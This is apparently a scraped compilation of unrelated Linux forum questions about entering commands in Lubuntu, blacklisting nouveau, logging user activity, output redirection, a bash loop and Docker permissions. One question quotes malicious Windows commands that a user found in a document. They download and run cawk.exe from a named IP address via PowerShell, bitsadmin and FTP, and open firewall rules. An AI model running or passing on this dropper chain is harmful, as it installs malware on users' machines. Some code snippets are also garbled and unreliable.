how do I enter commands in Lubuntu

It runs ridiculously slow at times (like 10 minutes to open a browser page) I have not used Linux before and have no idea how to get to a “command prompt” or if that is even where I need to be but would like to try installing metacity as I saw that worked for someone who posted on this forum.

thanks, Tony

Ubuntu 18.04.3 doesn’t recognize 2. montor after running these commands

I executed these commands:

sudo bash -c "echo blacklist nouveau > /etc/modprobe.d/blacklist-nvidia-nouveau.conf"  sudo bash -c "echo options nouveau modeset=0 >> /etc/modprobe.d/blacklist-nvidia-nouveau.conf"  sudo update-initramfs -u  sudo reboot 

But after rebooting, my 2. monitor is black and Ubuntu is not able to detect it. I went to Settings->Devices->Display and now I can only see my main monitor and not my second. Before running these commands, everything worked. How can I redo this?

I ran this commands in reference to this post.

Want to log all user activites performed on ubuntu UI,terminal,Putty,WinSCP including commands executed with timestamp

For security measures, I want a log of all acivites of all users on ubuntu system. Even the activities performed from UI or by externally accessing device through Putty or WinSCP. For ex. if someone logs in through putty or WinSCP and deletes or creates a file then i should have all the information like which user logged in through which IP address and which file did he created or deleted.If it’s a command through terminal, then I want which user executed which command and when.If there doesn’t exist a log of this sort then I want a way to create such a log

Terminal command for getting information about the time and user of all the commands executed in all sessions of terminal

I want to know which user executed which command on terminal and when i.e. if any of the user does “rmdir abc” and removes a specific directory , i should know which command he executed and at what time.And i don’t want it for a single session, this data should be available to me like we maintain logs, so that i can analyze it for any point of time.

I tried the history command as well and also added time to it but it does not show “Users” of the command and also it is session based ,so it’s data does not get appended to ~/.bash_history file unless the session is exited. Also ~/.bash_history does not show time and user so it’s not usefull.Can anyone help me please.I just want to see which user executed which command from the moment the system is started and at what time.

How to redirect a command’s output to file, when the command is via a wrapper’s system call?

I want to redirect both output and stderr to a log file. Easy enough, right?

python3 /home/user/Utilities/gpu.py L1.py &> log_L1.py.txt & 

However, when instead of calling the command directly I use a system call, I do not get the output and the stderr in the files, but rather they are returned to my screen, and the output files are not created.

staggered_runner.py:

import time import os  scripts=['L1.py','L2.py','L3.py','L4.py','L3_2D.py','L4_2D.py']  waiting=1200  for s in scripts:     command='python3 /home/user/Utilities/gpu.py '+s+' &> log_'+s+'.txt &'     print (command)     os.system (command)     time.sleep(waiting) 

Then I run

python3 staggered_runner.py 

I expected to receive only the direct outputs of staggered_runner.py, that is, those of each run of print (command), and have the rest directed to the to appropriate files.

How can I do this, while still using the wrapper?

After being AFK for a few hours, I found PowerShell commands in the currently opened LibreOffice document [duplicate]

This question already has an answer here:

  • Help! My home PC has been infected by a virus! What do I do now? 10 answers

I was AFK for a few hours. This is what I saw in my LibreOffice document when I returned to my laptop:

cmd.exe /c PoweExecutionPolicy Bypass (New-Object System.Net.WebClient).DownloadFile('http://92.63.197.153/cawk.exe','%temp%006605040.exe');Start-Process '%temp%006605040.exe' rcmd.exe /c bitsadmin /transfer getitman /download /priority high http://92.63.197.153/cawk.exe %temp%50606004.exe&start %temp%50606004.exe rcmd.exe /c netsh firewall add allowedprogram C:\Windows\System32\ftp.exe “ok” ENABLE&netsh advfirewall firewall add rule name=”ok” dir=in action=allow program=”C:\Windows\System32\ftp.exe” enable=yes rcmd.exe /c “cd %temp%&@echo open 92.63.197.153>>ftpget.txt&@echo tom>>ftpget.txt&@echo hehehe>>ftpget.txt&@echo binary>>ftpget.txt&@echo get cawk.exe>>ftpget.txt&@echo quit>>ftpget.txt&@ftp -s:ftpget.txt&@start cawk.exe” 

I am on Linux Mint, so the commands (Windows; PowerShell?) were obviously not targeted individually against my system but rather came from a random attack. Still, I wonder how this could happen. I was connected to the VPN network of my university during that time (using Cisco AnyConnect). I also had VNC running with a rather mediocre password. This is my only guess. Do you have any ideas? Should I be worried that my system is infected?

how to run 2 commands after failure in a loop?

I want to write a simple loop like this:

for f in my_file0 my_file1 my_file2; do     (( $  (find . -name $  f | wc -l > 0 )) done 

However, I want the loop to break the script if fails and print an error message, so I did this:

for f in my_file0 my_file1 my_file2; do     (( $  (find . -name $  f | wc -l > 0 )) || echo error && exit 1 done 

which exits at the first iteration, obviously.

So, I moved on to this solution

for f in my_file0 my_file1 my_file2; do     (( $  (find . -name $  f | wc -l > 0 )) || (echo error && exit 1) done 

which, as I understand it, only exits the sub-shell 🙁

What can I do, beside calling a function that will run those two commands?

Allow non-root user to use some Docker commands

I have a user restricted, and the user can only access its own files. It is a non-root user, and so, therefore, cannot use Docker (doing docker run foo => docker: Got permission denied while trying to connect to the Docker daemon socket...).

I want to allow this user to create their own Docker images from only their file space, and only be able to delete/rmi their own images that they have made. Furthermore, they will only be able to run their own images and stop their own image containers.

From the questions I have read, the only way for this to happen is to add a root user to a group the non-root user is in, making a huge vulnerability risk.